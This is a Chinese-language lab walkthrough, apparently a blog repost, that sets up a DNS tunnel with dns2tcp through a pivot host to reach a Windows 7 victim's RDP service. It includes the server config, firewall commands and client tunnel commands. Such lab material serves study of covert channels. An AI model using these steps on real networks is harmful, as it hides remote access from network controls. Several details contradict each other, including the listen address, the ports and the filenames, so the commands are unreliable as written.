DNS隧道实验

实验环境:

攻击机:kali (192.168.50.14)

跳板机:KyLin (192.168.50.12 ens33)

​ (192.168.136.147 ens37)

受害机:win7 (192.168.136.152)

因为本实验环境在内网,不存在DNS服务器,所以需要自己利用跳板机架设一台DNS服务器。DNS隧道是将tcp协议数据封装在dns协议中,在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。我们的跳板机就是这样一个互联网定制的DNS服务器,依靠DNS协议进行数据包的交换。从DNS协议角度看,此操作为查询某个特定域名并得到解析的结果,预期返回结果应该是一个IP地址,而事实上——返回的结果可以是任意字符串,包括加密的C&C指令。

使用工具:dns2tcpc, dns2tcpd, dns2tcpd.conf, ptunnel

实验步骤:

检查跳板机DNS连接性,或建立DNS服务器

1)服务器端配置:

安装好dns2tcp后,打开配置文件 /etc/dns2tcpd.conf , 将内容改为:

listen = 192.168.50.14 #指定服务建立地址

port =53 #指定监听端口

user =nobody

chroot =/tmp

domain = jsb.jts #设置域名

配置隧道代理资源,格式为“资源名称:IP地址:端口”,可配置多个,以,分割

resource = rdp:192.168.136.152:3389,ssh:127.0.0.1:22, smtp:127.0.0.1:25

此为我伪造云服务器公网IP

2)在麒麟跳板机上以root用户启动服务(在dns2tcpd.conf所在文件夹执行此命令)

su -root 变为root用户

dns2tcpd -f dns2tcp.conf -F -d 2 #添加-F选项,是程序在前台运行

启动服务后,将在指定地址和端口上开启服务

netstat -ulnp | grep : 53

结果为:

udp 0 0 192.168.50.14:53 0.0.0.0:*

KyLin默认开启防火墙,需要配置开启53端口。(方法同上,进入root用户模式)

方法一 (--permanent)永久添加

firewall-cmd --permanent --add-service=dns

开启后可进行查看

firewall-cmd --permanent --list-services

方法二 (--permanent)永久添加

53端口被添加到dns服务了,使用端口方式无效

firewall-cmd --permanent --add-port=1000/udp

开启后可查看

firewall-cmd --permanent --list-ports

使用--permanent选项时,需要刷新配置才能生效,不用该选项时直接生效,但重启失效

firewall-cmd --reload

攻击机配置

在kali上建立隧道

dns2tcpc -z jsb.jts -r rdp -l 1006 192.168.50.14(kali IP地址)

再打开一个终端页面,远程登陆受害机win7

rdesktop 127.0.0.1:1005

https://www.cnblogs.com/bonelee/p/7651746.html 还是大佬的这篇博客讲的清楚啊啊啊啊,转载一下~